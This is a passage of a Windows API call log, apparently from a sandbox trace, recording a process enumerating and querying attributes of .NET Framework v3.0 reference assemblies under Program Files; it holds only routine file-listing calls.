	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaae31b18, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaae31b18, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53cd8e4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1
	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaef01e9, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaaef01e9, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53d25107, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1
	[0053.551] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98b70cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa98b70cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9ce1753, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9ce1753, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d078b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9bfcf11, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9bfcf11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9c6f332, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x515000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a53bf17, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a53bf17, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9655ac7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9655ac7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa967bc27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9609806, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9609806, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa962f966, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x173000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96a1d87, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96a1d87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96c7ee8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a72b0d0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a72b0d0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cfaf3b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8f412c, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a8f412c, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d04792d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a98c6a0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a98c6a0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d106003, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa4ad71, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9aa4ad71, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d17841d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa97d2889, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa97d2889, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97f89ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x110000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9acf85fb, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9acf85fb, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d2a8f0d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 1
	[0053.552] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.552] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationBuildTasks.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationbuildtasks.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274e648 | out: lpFileInformation=0x1274e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000)) returned 1
	[0053.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationcore.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274e698 | out: lpFileInformation=0x1274e698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa990338c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa990338c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa99757ac, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d0000)) returned 1
	[0053.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Aero.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.aero.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274e6e8 | out: lpFileInformation=0x1274e6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x993ade39, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x993ade39, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b475983, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x30000)) returned 1
	[0053.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Classic.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.classic.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274e738 | out: lpFileInformation=0x1274e738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x994463ad, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x994463ad, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b72321f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x22000)) returned 1
	[0053.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Luna.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.luna.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274e788 | out: lpFileInformation=0x1274e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e17da7, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99e17da7, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b807a53, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000)) returned 1
	[0053.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Royale.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.royale.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274e7d8 | out: lpFileInformation=0x1274e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99efc5d5, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99efc5d5, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cc8f6ff, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x28000)) returned 1
	[0053.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274e828 | out: lpFileInformation=0x1274e828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46c000)) returned 1
	[0053.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\ReachFramework.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\reachframework.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274e878 | out: lpFileInformation=0x1274e878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa973a308, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa973a308, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9760469, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000)) returned 1
	[0053.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), fInfoLevelId=0x0, lpFileInformation=0x1274e8c8 | out: lpFileInformation=0x1274e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.556] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.556] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.556] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1
	[0053.556] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.556] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e968 | out: lpFileInformation=0x1274e968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4)) returned 1
	[0053.557] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IO.Log.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.io.log.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274e9b8 | out: lpFileInformation=0x1274e9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaef01e9, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaaef01e9, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53d25107, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x20000)) returned 1
	[0053.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IdentityModel.Selectors.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.identitymodel.selectors.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ea08 | out: lpFileInformation=0x1274ea08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaae31b18, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaae31b18, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53cd8e4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e000)) returned 1
	[0053.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IdentityModel.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.identitymodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ea58 | out: lpFileInformation=0x1274ea58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000)) returned 1
	[0053.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Printing.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.printing.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274eaa8 | out: lpFileInformation=0x1274eaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98b70cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa98b70cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57a00)) returned 1
	[0053.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Runtime.Serialization.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.runtime.serialization.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274eaf8 | out: lpFileInformation=0x1274eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9ce1753, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9ce1753, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d078b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcf000)) returned 1
	[0053.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.servicemodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274eb48 | out: lpFileInformation=0x1274eb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9bfcf11, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9bfcf11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9c6f332, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x515000)) returned 1
	[0053.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Speech.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.speech.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274eb98 | out: lpFileInformation=0x1274eb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a53bf17, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a53bf17, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa8000)) returned 1
	[0053.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.Activities.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.workflow.activities.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ebe8 | out: lpFileInformation=0x1274ebe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9655ac7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9655ac7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa967bc27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x103000)) returned 1
	[0053.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.ComponentModel.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.workflow.componentmodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ec38 | out: lpFileInformation=0x1274ec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9609806, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9609806, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa962f966, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x173000)) returned 1
	[0053.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.Runtime.dll" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\system.workflow.runtime.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ec88 | out: lpFileInformation=0x1274ec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96a1d87, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96a1d87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96c7ee8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6f000)) returned 1
